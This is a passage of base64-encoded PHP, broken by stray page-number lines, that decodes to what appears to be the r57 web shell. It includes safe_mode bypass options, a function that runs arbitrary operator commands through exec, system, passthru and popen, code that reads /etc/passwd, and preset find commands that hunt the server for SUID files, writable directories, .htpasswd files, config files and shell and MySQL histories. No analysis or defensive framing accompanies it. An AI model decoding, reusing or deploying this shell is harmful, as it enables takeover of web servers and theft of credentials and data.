mVfbW9kZSBieXBhc3MnLA0KJ2VuZ190ZXh0MjMzJyA9PiAncGVybCBleHRlbnNpb24gc2FmZV9tb2RlIGJ5 cGFzcycsDQonZW5nX3RleHQyMzQnID0+ICdGRkkgZXh0ZW5zaW9uIHNhZmVfbW9kZSBieXBhc3MnLA0KJ2V uZ19idXR0NjUnPT4nV3JpdGUnLA0KKTsNCiRhbGlhc2VzPWFycmF5KA0KJ2ZpbmQgc3VpZCBmaWxlcyc9Pi dmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzJywNCidmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVud CBkaXInPT4nZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scycsDQonZmluZCBzZ2lkIGZpbGVzJz0+ J2ZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMnLA0KJ2ZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW5 0IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzJywNCidmaW5kIGNvbmZpZy5pbmMucG hwIGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwJywNCidmaW5kIGNvbmZpZ y5pbmMucGhwIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIGNvbmZpZy5p bmMucGhwJywNCidmaW5kIGNvbmZpZyogZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgImNvbmZpZyo iJywNCidmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC10eXBlIGYgLW5hbW UgImNvbmZpZyoiJywNCidmaW5kIGFsbCB3cml0YWJsZSBmaWxlcyc9PidmaW5kIC8gLXR5cGUgZiAtcGVyb
10.
SAtMiAtbHMnLA0KJ2ZpbmQgYWxsIHdyaXRhYmxlIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAt dHlwZSBmIC1wZXJtIC0yIC1scycsDQonZmluZCBhbGwgd3JpdGFibGUgZGlyZWN0b3JpZXMnPT4nZmluZCA vICAtdHlwZSBkIC1wZXJtIC0yIC1scycsDQonZmluZCBhbGwgd3JpdGFibGUgZGlyZWN0b3JpZXMgaW4gY3 VycmVudCBkaXInPT4nZmluZCAuIC10eXBlIGQgLXBlcm0gLTIgLWxzJywNCidmaW5kIGFsbCB3cml0YWJsZ SBkaXJlY3RvcmllcyBhbmQgZmlsZXMnPT4nZmluZCAvIC1wZXJtIC0yIC1scycsDQonZmluZCBhbGwgd3Jp dGFibGUgZGlyZWN0b3JpZXMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtcGVybSAtMiA tbHMnLA0KJ2ZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcn ZpY2UucHdkJywNCidmaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtd HlwZSBmIC1uYW1lIHNlcnZpY2UucHdkJywNCidmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMnPT4nZmluZCAv IC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkJywNCidmaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGR pcic9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QnLA0KJ2ZpbmQgYWxsIC5iYXNoX2hpc3Rvcn kgZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeScsDQonZmluZCAuYmFzaF9oa XN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3Rv cnknLA0KJ2ZpbmQgYWxsIC5teXNxbF9oaXN0b3J5IGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5 teXNxbF9oaXN0b3J5JywNCidmaW5kIC5teXNxbF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2 ZpbmQgLiAtdHlwZSBmIC1uYW1lIC5teXNxbF9oaXN0b3J5JywNCidmaW5kIGFsbCAuZmV0Y2htYWlscmMgZ mlsZXMnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjJywNCidmaW5kIC5mZXRjaG1haWxy YyBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMnLA0 KJ2xpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtJz 0+J2xzYXR0ciAtdmEnLA0KJ3Nob3cgb3BlbmVkIHBvcnRzJz0+J25ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsa XN0ZW4nLA0KJy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0nPT4nbHMgLWxhJw0KKTs NCiR0YWJsZV91cDEgID0gIjx0cj48dGQgY2xhc3M9bWFpbiBiZ2NvbG9yPUJsYWNrDQo+PGZvbnQgZmFjZT 1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBjbGFzcz10dCBhbGlnbj1jZW50ZXI+OjogIjsNCiR0YWJsZV91c DIgID0gIiA6OjwvZGl2PjwvYj48L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQgY2xhc3M9bWFpbj4iOw0KJHRh YmxlX3VwMyAgPSAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29 sb3I9QmxhY2s+PHRyPjx0ZCBjbGFzcz1tYWluPiI7DQokdGFibGVfZW5kMSA9ICI8L3RkPjwvdHI+IjsNCi RhcnJvdyA9ICIgPGZvbnQgZmFjZT1XZWJkaW5ncyBjb2xvcj1XaGl0ZT40PC9mb250PiI7DQokbGIgPSAiP GZvbnQgY29sb3I9V2hpdGU+WzwvZm9udD4iOw0KJHJiID0gIjxmb250IGNvbG9yPVdoaXRlPl08L2ZvbnQ+ IjsNCiRmb250ID0gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiI7DQokdHMgPSAiPHRhYmxlIGNsYXN zPXRhYmxlMSB3aWR0aD0xMDAlIGFsaWduPWNlbnRlcj4iOw0KJHRlID0gIjwvdGFibGU+IjsNCiRmcyA9IC I8Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+IjsNCiRmZSA9ICI8L2Zvcm0+IjsNCg0KaWYoaXNzZXQoJ F9HRVRbJ3VzZXJzJ10pKQ0KIHsNCiBpZighJHVzZXJzPWdldF91c2VycygpKSB7IGVjaG8gIjxjZW50ZXI+ PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh 0OTYnXS4iPC9mb250PjwvY2VudGVyPiI7IH0NCiBlbHNlDQogIHsNCiAgZWNobyAnPGNlbnRlcj4nOw0KIC Bmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikgeyBlY2hvICR1c2VyLiI8YnI+IjsgfQ0KICBlY2hvICc8L2Nlb nRlcj4nOw0KICB9DQogZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBz aXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2Z vbnQ+PC9kaXY+IjsgZGllKCk7DQogfQ0KDQppZiAoIWVtcHR5KCRfUE9TVFsnZGlyJ10pKSB7IEBjaGRpci gkX1BPU1RbJ2RpciddKTsgfQ0KJGRpciA9IEBnZXRjd2QoKTsNCiR1bml4ID0gMDsNCmlmKHN0cmxlbigkZ GlyKT4xICYmICRkaXJbMV09PSI6IikgJHVuaXg9MDsgZWxzZSAkdW5peD0xOw0KaWYoZW1wdHkoJGRpcikp DQogew0KICRvcyA9IGdldGVudignT1MnKTsNCiBpZihlbXB0eSgkb3MpKXsgJG9zID0gcGhwX3VuYW1lKCk 7IH0NCiBpZihlbXB0eSgkb3MpKXsgJG9zID0iLSI7ICR1bml4PTE7IH0NCiBlbHNlDQogICAgew0KICAgIG lmKEBlcmVnaSgiXndpbiIsJG9zKSkgeyAkdW5peCA9IDA7IH0NCiAgICBlbHNlIHsgJHVuaXggPSAxOyB9D QogICAgfQ0KIH0NCmlmKCFlbXB0eSgkX1BPU1RbJ3NfZGlyJ10pICYmICFlbXB0eSgkX1BPU1RbJ3NfdGV4 dCddKSAmJiAhZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXSA9PSAic2VhcmNoX3RleHQ iKQ0KICB7DQogICAgZWNobyAkaGVhZDsNCiAgICBpZighZW1wdHkoJF9QT1NUWydzX21hc2snXSkgJiYgIW VtcHR5KCRfUE9TVFsnbSddKSkgeyAkc3IgPSBuZXcgU2VhcmNoUmVzdWx0KCRfUE9TVFsnc19kaXInXSwkX 1BPU1RbJ3NfdGV4dCddLCRfUE9TVFsnc19tYXNrJ10pOyB9DQogICAgZWxzZSB7ICRzciA9IG5ldyBTZWFy Y2hSZXN1bHQoJF9QT1NUWydzX2RpciddLCRfUE9TVFsnc190ZXh0J10pOyB9DQogICAgJHNyLT5TZWFyY2h UZXh0KDAsMCk7DQogICAgJHJlcyA9ICRzci0+R2V0UmVzdWx0RmlsZXMoKTsNCiAgICAkZm91bmQgPSAkc3 ItPkdldE1hdGNoZXNDb3VudCgpOw0KICAgICR0aXRsZXMgPSAkc3ItPkdldFRpdGxlcygpOw0KICAgICRyI D0gIiI7DQogICAgaWYoJGZvdW5kID4gMCkNCiAgICB7DQogICAgICAkciAuPSAiPFRBQkxFIHdpZHRoPTEw MCU+IjsNCiAgICAgIGZvcmVhY2goJHJlcyBhcyAkZmlsZT0+JHYpDQogICAgICB7DQogICAgICAgICRyIC4 9ICI8VFI+IjsNCiAgICAgICAgJHIgLj0gIjxURCBjbGFzcz1tYWluIGNvbHNwYW49Mj48Zm9udCBmYWNlPV ZlcmRhbmEgc2l6ZT0tMj48Yj4iLndzKDMpOw0KICAgICAgICAkciAuPSAoISR1bml4KT8gc3RyX3JlcGxhY 2UoIi8iLCJcXCIsJGZpbGUpIDogJGZpbGU7DQogICAgICAgICRyIC49ICI8L2I+PC9mb250PjwvIFREPiI7 DQogICAgICAgICRyIC49ICI8L1RSPiI7DQogICAgICAgIGZvcmVhY2goJHYgYXMgJGE9PiRiKQ0KICAgICA gICB7DQogICAgICAgICAgJHIgLj0gIjxUUj4iOw0KICAgICAgICAgICRyIC49ICI8VEQgY2xhc3M9bWFpbi
11.
BhbGlnbj1jZW50ZXI+PEI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Ii4kYS4iPC9mb250PjwvQj48L 1REPiI7DQogICAgICAgICAgJHIgLj0gIjxURCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXpl PS0yPiIud3MoMikuJGIuIjwvZm9udD48L1REPiI7DQogICAgICAgICAgJHIgLj0gIjwvVFI+XG4iOw0KICA gICAgICB9DQogICAgICB9DQogICAgICAkciAuPSAiPC9UQUJMRT4iOw0KICAgIGVjaG8gJHI7DQogICAgfQ 0KICAgIGVsc2UNCiAgICB7DQogICAgICBlY2hvICI8UCBhbGlnbj1jZW50ZXI+PEI+PGZvbnQgZmFjZT1WZ XJkYW5hIHNpemU9LTI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTYnXS4iPC9CPjwvZm9udD48L1A+IjsN CiAgICB9DQogIGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0 tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250Pj wvZGl2PiI7DQogIGRpZSgpOw0KICB9DQppZighJHNhZmVfbW9kZSAmJiBzdHJwb3MoZXgoImVjaG8gYWJjc jU3IiksInI1NyIpIT0zKSB7ICRzYWZlX21vZGUgPSAxOyB9DQokU0VSVkVSX1NPRlRXQVJFID0gZ2V0ZW52 KCdTRVJWRVJfU09GVFdBUkUnKTsNCmlmKGVtcHR5KCRTRVJWRVJfU09GVFdBUkUpKXsgJFNFUlZFUl9TT0Z UV0FSRSA9ICItIjsgfQ0KZnVuY3Rpb24gd3MoJGkpDQp7DQpyZXR1cm4gQHN0cl9yZXBlYXQoIiZuYnNwOy IsJGkpOw0KfQ0KZnVuY3Rpb24gZXgoJGNmZSkNCnsNCiAkcmVzID0gJyc7DQogaWYgKCFlbXB0eSgkY2ZlK SkNCiB7DQogIGlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKQ0KICAgew0KICAgIEBleGVjKCRjZmUsJHJl cyk7DQogICAgJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsNCiAgIH0NCiAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN 0cygnc2hlbGxfZXhlYycpKQ0KICAgew0KICAgICRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsNCiAgIH0NCi AgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpDQogICB7DQogICAgQG9iX3N0YXJ0KCk7DQogI CAgQHN5c3RlbSgkY2ZlKTsNCiAgICAkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KICAgIEBvYl9lbmRf Y2xlYW4oKTsNCiAgIH0NCiAgZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkNCiAgIHsNCiA gICBAb2Jfc3RhcnQoKTsNCiAgICBAcGFzc3RocnUoJGNmZSk7DQogICAgJHJlcyA9IEBvYl9nZXRfY29udG VudHMoKTsNCiAgICBAb2JfZW5kX2NsZWFuKCk7DQogICB9DQogIGVsc2VpZihAaXNfcmVzb3VyY2UoJGYgP SBAcG9wZW4oJGNmZSwiciIpKSkNCiAgew0KICAgJHJlcyA9ICIiOw0KICAgd2hpbGUoIUBmZW9mKCRmKSkg eyAkcmVzIC49IEBmcmVhZCgkZiwxMDI0KTsgfQ0 KICAgQHBjbG9zZSgkZik7DQogIH0NCiB9DQogcmV0dXJuICRyZXM7DQp9DQpmdW5jdGlvbiBnZXRfdXNlcn MoKQ0Kew0KICAkdXNlcnMgPSBhcnJheSgpOw0KICAkcm93cz1maWxlKCcvZXRjL3Bhc3N3ZCcpOw0KICBpZ ighJHJvd3MpIHJldHVybiAwOw0KICBmb3JlYWNoICgkcm93cyBhcyAkc3RyaW5nKQ0KICAgew0KICAgCSR1 c2VyID0gQGV4cGxvZGUoIjoiLCRzdHJpbmcpOw0KICAgCWlmKHN1YnN0cigkc3RyaW5nLDAsMSkhPScjJyk gYXJyYXlfcHVzaCgkdXNlcnMsJHVzZXJbMF0pOw0KICAgfQ0KICByZXR1cm4gJHVzZXJzOw0KfQ0KZnVuY3 Rpb24gZXJyKCRuLCR0eHQ9JycpDQp7DQplY2hvICc8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wI GNlbGxzcGFjaW5nPTA+PHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2s+PGZvbnQgY29sb3I9UmVk IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPic7DQplY2hvICRHTE9CQUxTWyd sYW5nJ11bJEdMT0JBTFNbJ2xhbmd1YWdlJ10uJ19lcnInLiRuXTsNCmlmKCFlbXB0eSgkdHh0KSkgeyBlY2 hvICIgJHR4dCI7IH0NCmVjaG8gJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+JzsNCnJld HVybiBudWxsOw0KfQ0KZnVuY3Rpb24gcGVybXMoJG1vZGUpDQp7DQppZiAoISRHTE9CQUxTWyd1bml4J10p IHJldHVybiAwOw0KaWYoICRtb2RlICYgMHgxMDAwICkgeyAkdHlwZT0ncCc7IH0NCmVsc2UgaWYoICRtb2R lICYgMHgyMDAwICkgeyAkdHlwZT0nYyc7IH0NCmVsc2UgaWYoICRtb2RlICYgMHg0MDAwICkgeyAkdHlwZT 0nZCc7IH0NCmVsc2UgaWYoICRtb2RlICYgMHg2MDAwICkgeyAkdHlwZT0nYic7IH0NCmVsc2UgaWYoICRtb 2RlICYgMHg4MDAwICkgeyAkdHlwZT0nLSc7IH0NCmVsc2UgaWYoICRtb2RlICYgMHhBMDAwICkgeyAkdHlw ZT0nbCc7IH0NCmVsc2UgaWYoICRtb2RlICYgMHhDMDAwICkgeyAkdHlwZT0ncyc7IH0NCmVsc2UgJHR5cGU 9J3UnOw0KJG93bmVyWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDQwMCkgPyAncicgOiAnLSc7DQokb3duZXJbIn dyaXRlIl0gPSAoJG1vZGUgJiAwMDIwMCkgPyAndycgOiAnLSc7DQokb3duZXJbImV4ZWN1dGUiXSA9ICgkb W9kZSAmIDAwMTAwKSA/ICd4JyA6ICctJzsNCiRncm91cFsicmVhZCJdID0gKCRtb2RlICYgMDAwNDApID8g J3InIDogJy0nOw0KJGdyb3VwWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAwMjApID8gJ3cnIDogJy0nOw0KJGd yb3VwWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDAxMCkgPyAneCcgOiAnLSc7DQokd29ybGRbInJlYWQiXS A9ICgkbW9kZSAmIDAwMDA0KSA/ICdyJyA6ICctJzsNCiR3b3JsZFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwM DAyKSA/ICd3JyA6ICctJzsNCiR3b3JsZFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMDEpID8gJ3gnIDog Jy0nOw0KaWYoICRtb2RlICYgMHg4MDAgKSAkb3duZXJbImV4ZWN1dGUiXSA9ICgkb3duZXJbJ2V4ZWN1dGU nXT09J3gnKSA/ICdzJyA6ICdTJzsNCmlmKCAkbW9kZSAmIDB4NDAwICkgJGdyb3VwWyJleGVjdXRlIl0gPS AoJGdyb3VwWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7DQppZiggJG1vZGUgJiAweDIwMCApICR3b 3JsZFsiZXhlY3V0ZSJdID0gKCR3b3JsZFsnZXhlY3V0ZSddPT0neCcpID8gJ3QnIDogJ1QnOw0KJHM9c3By aW50ZigiJTFzIiwgJHR5cGUpOw0KJHMuPXNwcmludGYoIiUxcyUxcyUxcyIsICRvd25lclsncmVhZCddLCA kb3duZXJbJ3dyaXRlJ10sICRvd25lclsnZXhlY3V0ZSddKTsNCiRzLj1zcHJpbnRmKCIlMXMlMXMlMXMiLC AkZ3JvdXBbJ3JlYWQnXSwgJGdyb3VwWyd3cml0ZSddLCAkZ3JvdXBbJ2V4ZWN1dGUnXSk7DQokcy49c3Bya W50ZigiJTFzJTFzJTFzIiwgJHdvcmxkWydyZWFkJ10sICR3b3JsZFsnd3JpdGUnXSwgJHdvcmxkWydleGVj dXRlJ10pOw0KcmV0dXJuIHRyaW0oJHMpOw0KfQ0KZnVuY3Rpb24gaW4oJHR5cGUsJG5hbWUsJHNpemUsJHZ hbHVlLCRjaGVja2VkPTApDQp7DQogJHJldCA9ICI8aW5wdXQgdHlwZT0iLiR0eXBlLiIgbmFtZT0iLiRuYW 1lLiIgIjsNCiBpZigkc2l6ZSAhPSAwKSB7ICRyZXQgLj0gInNpemU9Ii4kc2l6ZS4iICI7IH0NCiAkcmV0I C49ICJ2YWx1ZT1cIiIuJHZhbHVlLiJcIiI7DQogaWYoJGNoZWNrZWQpICRyZXQgLj0gIiBjaGVja2VkIjsN CiByZXR1cm4gJHJldC4iPiI7DQp9DQpmdW5jdGlvbiB3aGljaCgkcHIpDQp7DQokcGF0aCA9IGV4KCJ3aGl
12.
jaCAkcHIiKTsNCmlmKCFlbXB0eSgkcGF0aCkpIHsgcmV0dXJuICRwYXRoOyB9IGVsc2UgeyByZXR1cm4gJH ByOyB9DQp9DQpmdW5jdGlvbiBjZigkZm5hbWUsJHRleHQpDQp7DQogJHdfZmlsZT1AZm9wZW4oJGZuYW1lL CJ3Iikgb3IgZXJyKDApOw0KIGlmKCR3X2ZpbGUpDQogew0KIEBmcHV0cygkd19maWxlLEBiYXNlNjRfZGVj b2RlKCR0ZXh0KSk7DQogQGZjbG9zZSgkd19maWxlKTsNCiB9DQp9DQpmdW5jdGlvbiBzcigkbCwkdDEsJHQ yKQ0KIHsNCiByZXR1cm4gIjx0ciBjbGFzcz10cjE+PHRkIGNsYXNzPXRkMSB3aWR0aD0iLiRsLiIlIGFsaW duPXJpZ2h0PiIuJHQxLiI8L3RkPjx0ZCBjbGFzcz10ZDEgYWxpZ249bGVmdD4iLiR0Mi4iPC90ZD48L3RyP iI7DQogfQ0KaWYgKCFAZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3NpemUiKSkNCnsNCmZ1bmN0aW9uIHZpZXdf c2l6ZSgkc2l6ZSkNCnsNCiBpZigkc2l6ZSA+PSAxMDczNzQxODI0KSB7JHNpemUgPSBAcm91bmQoJHNpemU gLyAxMDczNzQxODI0ICogMTAwKSAvIDEwMCAuICIgR0IiO30NCiBlbHNlaWYoJHNpemUgPj0gMTA0ODU3Ni kgeyRzaXplID0gQHJvdW5kKCRzaXplIC8gMTA0ODU3NiAqIDEwMCkgLyAxMDAgLiAiIE1CIjt9DQogZWxzZ WlmKCRzaXplID49IDEwMjQpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQgKiAxMDApIC8gMTAwIC4g IiBLQiI7fQ0KIGVsc2UgeyRzaXplID0gJHNpemUgLiAiIEIiO30NCiByZXR1cm4gJHNpemU7DQp9DQp9DQo gIGZ1bmN0aW9uIERpckZpbGVzUigkZGlyLCR0eXBlcz0nJykNCiAgew0KICAgICRmaWxlcyA9IEFycmF5KC k7DQogICAgaWYoKCRoYW5kbGUgPSBAb3BlbmRpcigkZGlyKSkpDQogICAgew0KICAgICAgd2hpbGUgKGZhb HNlICE9PSAoJGZpbGUgPSBAcmVhZGRpcigkaGFuZGxlKSkpDQogICAgICB7DQogICAgICAgIGlmICgkZmls ZSAhPSAiLiIgJiYgJGZpbGUgIT0gIi4uIikNCiAgICAgICAgew0KICAgICAgICAgIGlmKEBpc19kaXIoJGR pci4iLyIuJGZpbGUpKQ0KICAgICAgICAgICAgJGZpbGVzID0gQGFycmF5X21lcmdlKCRmaWxlcyxEaXJGaW xlc1IoJGRpci4iLyIuJGZpbGUsJHR5cGVzKSk7DQogICAgICAgICAgZWxzZQ0KICAgICAgICAgIHsNCiAgI CAgICAgICAgICRwb3MgPSBAc3RycnBvcygkZmlsZSwiLiIpOw0KICAgICAgICAgICAgJGV4dCA9IEBzdWJz dHIoJGZpbGUsJHBvcyxAc3RybGVuKCRmaWxlKS0kcG9zKTsNCiAgICAgICAgICAgIGlmKCR0eXBlcykNCiA gICAgICAgICAgIHsNCiAgICAgICAgICAgICAgaWYoQGluX2FycmF5KCRleHQsZXhwbG9kZSgnOycsJHR5cG VzKSkpDQogICAgICAgICAgICAgICAgJGZpbGVzW10gPSAkZGlyLiIvIi4kZmlsZTsNCiAgICAgICAgICAgI H0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgJGZpbGVzW10gPSAkZGlyLiIvIi4kZmlsZTsN CiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIEBjbG9zZWRpcigkaGFuZGxlKTsNCiA gICB9DQogICAgcmV0dXJuICRmaWxlczsNCiAgfQ0KICBjbGFzcyBTZWFyY2hSZXN1bHQNCiAgew0KICAgIH ZhciAkdGV4dDsNCiAgICB2YXIgJEZpbGVzVG9TZWFyY2g7DQogICAgdmFyICRSZXN1bHRGaWxlczsNCiAgI CB2YXIgJEZpbGVzVG90YWw7DQogICAgdmFyICRNYXRjaGVzQ291bnQ7DQogICAgdmFyICRGaWxlTWF0c2No ZXNDb3VudDsNCiAgICB2YXIgJFRpbWVTdGFydDsNCiAgICB2YXIgJFRpbWVUb3RhbDsNCiAgICB2YXIgJHR pdGxlczsNCiAgICBmdW5jdGlvbiBTZWFyY2hSZXN1bHQoJGRpciwkdGV4dCwkZmlsdGVyPScnKQ0KICAgIH sNCiAgICAgICRkaXJzID0gQGV4cGxvZGUoIjsiLCRkaXIpOw0KICAgICAgJHRoaXMtPkZpbGVzVG9TZWFyY 2ggPSBBcnJheSgpOw0KICAgICAgZm9yKCRhPTA7JGE8Y291bnQoJGRpcnMpOyRhKyspDQogICAgICAgICR0 aGlzLT5GaWxlc1RvU2VhcmNoID0gQGFycmF5X21lcmdlKCR0aGlzLT5GaWxlc1RvU2VhcmNoLERpckZpbGV zUigkZGlyc1skYV0sJGZpbHRlcikpOw0KICAgICAgJHRoaXMtPnRleHQgPSAkdGV4dDsNCiAgICAgICR0aG lzLT5GaWxlc1RvdGFsID0gQGNvdW50KCR0aGlzLT5GaWxlc1RvU2VhcmNoKTsNCiAgICAgICR0aGlzLT5Ua W1lU3RhcnQgPSBnZXRtaWNyb3RpbWUoKTsNCiAgICAgICR0aGlzLT5NYXRjaGVzQ291bnQgPSAwOw0KICAg ICAgJHRoaXMtPlJlc3VsdEZpbGVzID0gQXJyYXkoKTsNCiAgICAgICR0aGlzLT5GaWxlTWF0Y2hlc0NvdW5 0ID0gQXJyYXkoKTsNCiAgICAgICR0aGlzLT50aXRsZXMgPSBBcnJheSgpOw0KICAgIH0NCiAgICBmdW5jdG lvbiBHZXRGaWxlc1RvdGFsKCkgeyByZXR1cm4gJHRoaXMtPkZpbGVzVG90YWw7IH0NCiAgICBmdW5jdGlvb iBHZXRUaXRsZXMoKSB7IHJldHVybiAkdGhpcy0+dGl0bGVzOyB9DQogICAgZnVuY3Rpb24gR2V0VGltZVRv dGFsKCkgeyByZXR1cm4gJHRoaXMtPlRpbWVUb3RhbDsgfQ0KICAgIGZ1bmN0aW9uIEdldE1hdGNoZXNDb3V udCgpIHsgcmV0dXJuICR0aGlzLT5NYXRjaGVzQ291bnQ7IH0NCiAgICBmdW5jdGlvbiBHZXRGaWxlTWF0Y2 hlc0NvdW50KCkgeyByZXR1cm4gJHRoaXMtPkZpbGVNYXRjaGVzQ291bnQ7IH0NCiAgICBmdW5jdGlvbiBHZ XRSZXN1bHRGaWxlcygpIHsgcmV0dXJuICR0aGlzLT5SZXN1bHRGaWxlczsgfQ0KICAgIGZ1bmN0aW9uIFNl YXJjaFRleHQoJHBocmFzZT0wLCRjYXNlPTApIHsNCiAgICAkcXEgPSBAZXhwbG9kZSgnICcsJHRoaXMtPnR leHQpOw0KICAgICRkZWxpbSA9ICd8JzsNCiAgICAgIGlmKCRwaHJhc2UpDQogICAgICAgIGZvcmVhY2goJH FxIGFzICRrPT4kdikNCiAgICAgICAgICAkcXFbJGtdID0gJ1xiJy4kdi4nXGInOw0KICAgICAgJHdvcmRzI D0gJygnLkBpbXBsb2RlKCRkZWxpbSwkcXEpLicpJzsNCiAgICAgICRwYXR0ZXJuID0gIi8iLiR3b3Jkcy4i LyI7DQogICAgICBpZighJGNhc2UpDQogICAgICAgICRwYXR0ZXJuIC49ICdpJzsNCiAgICAgIGZvcmVhY2g oJHRoaXMtPkZpbGVzVG9TZWFyY2ggYXMgJGs9PiRmaWxlbmFtZSkNCiAgICAgIHsNCiAgICAgICAgJHRoaX MtPkZpbGVNYXRjaGVzQ291bnRbJGZpbGVuYW1lXSA9IDA7DQogICAgICAgICRGaWxlU3RyaW5ncyA9IEBma WxlKCRmaWxlbmFtZSkgb3IgQG5leHQ7DQogICAgICAgIGZvcigkYT0wOyRhPEBjb3VudCgkRmlsZVN0cmlu Z3MpOyRhKyspDQogICAgICAgIHsNCiAgICAgICAgICAkY291bnQgPSAwOw0KICAgICAgICAgICRDdXJTdHJ pbmcgPSAkRmlsZVN0cmluZ3NbJGFdOw0KICAgICAgICAgICRDdXJTdHJpbmcgPSBAVHJpbSgkQ3VyU3RyaW 5nKTsNCiAgICAgICAgICAkQ3VyU3RyaW5nID0gQHN0cmlwX3RhZ3MoJEN1clN0cmluZyk7DQogICAgICAgI CAgJGFhID0gJyc7DQogICAgICAgICAgaWYoKCRjb3VudCA9IEBwcmVnX21hdGNoX2FsbCgkcGF0dGVybiwk Q3VyU3RyaW5nLCRhYSkpKQ0KICAgICAgICAgIHsNCiAgICAgICAgICAgICRDdXJTdHJpbmcgPSBAcHJlZ19 yZXBsYWNlKCRwYXR0ZXJuLCI8U1BBTiBzdHlsZT0nY29sb3I6ICM5OTAwMDA7Jz48Yj5cXDE8L2I+PC9TUE FOPiIsJEN1clN0cmluZyk7DQogICAgICAgICAgICAkdGhpcy0+UmVzdWx0RmlsZXNbJGZpbGVuYW1lXVskY SsxXSA9ICRDdXJTdHJpbmc7DQogICAgICAgICAgICAkdGhpcy0+TWF0Y2hlc0NvdW50ICs9ICRjb3VudDsN
13.
